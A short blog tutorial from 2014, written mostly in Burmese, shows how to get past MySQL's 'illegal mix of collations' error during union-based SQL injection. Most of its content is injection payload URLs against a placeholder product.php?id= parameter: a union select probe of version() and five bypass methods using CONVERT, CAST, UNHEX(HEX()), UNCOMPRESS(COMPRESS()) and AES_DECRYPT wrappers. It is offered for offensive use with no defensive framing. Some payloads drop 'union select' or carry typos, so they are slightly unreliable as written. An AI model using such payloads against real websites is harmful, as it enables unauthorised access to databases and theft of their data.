January 9, 2014

[tut]How to inject illegal mix of collation[/tut]

Union based ေတာ့ သိၿပီး ေလာက္ၿပီလို႔ ယူဆပါတယ္ ေနာ္။
ဒါေၾကာင့္ က်ေနာ္ column ရွာ တာေတြ ထည့္မေျပာေတာ့ပါဘူး။က်ေနာ္ တို႔ column အေရအတြက္သိၿပီ။
union select နဲ႕ inject လုပ္ၾကည့္လို႔ vul column လည္းေတြ႕ ပါၿပီဆိုရင္ version စစ္ ၾကည့္မယ္။
http://www.site.com/product.php?id=3 ဆိုပါေတာ့။column 4 မွာ vul ျဖစ္ေနပီဆိုရင္
http://www.site.com/product.php?id=3 union select 1,2,3,version(),5--
က်ေနာ္ တို႕ဒီလို version ကိုစစ္လိုက္ေတာ့ error တခုက်လာတတ္ပါတယ္
illegal mix of collation(latin1_swedish_ci,IMPLICT)and(utf8_general_ci,SYSCONST) for operation "UNIOION"
ဒီလို error မ်ိဳးက်လာ ၿပီဆိုရင္ ဒီက်ဴတို ေလး ကအသံုုး၀င္မွာပါ။
Method#1 Use function CONVERT
http://www.site.com/product.php?id=3 1,2,3,convert(version() using binary),5--

Method#2 Use function CAST
http://www.site.com/product.php?id=3 1,2,3,cast(version() as binary),5--

Method#3 Use function UNHEX(HEX())
http://www.site.com/product.php?id=3 1,2,3,unhex(hex(version())),5--

Method#4 Use function UNCOMPRESS(COMPRESS())
http://www.site.com/product.php?id=3 1,2,3,uncompress(compress(version())),5--

Method#5 Use function AES_DECRYPT(AESENCRYPT())
http://www.site.com/product.php?id=3 1,2,3,aes_decrypt(aes_encrypt(version())),5--

က်ေနာ္ ရွာေတြ႕ထားတာေတာ့ ဒါအကုန္ဘဲ ဗ်။ တျခားးက်န္တာေတြရွိေသးရင္ေတာ့ ၀င္ေရးေပးသြားၾကပါေနာ္

Credit to Ajakaro

No comments:

Post a Comment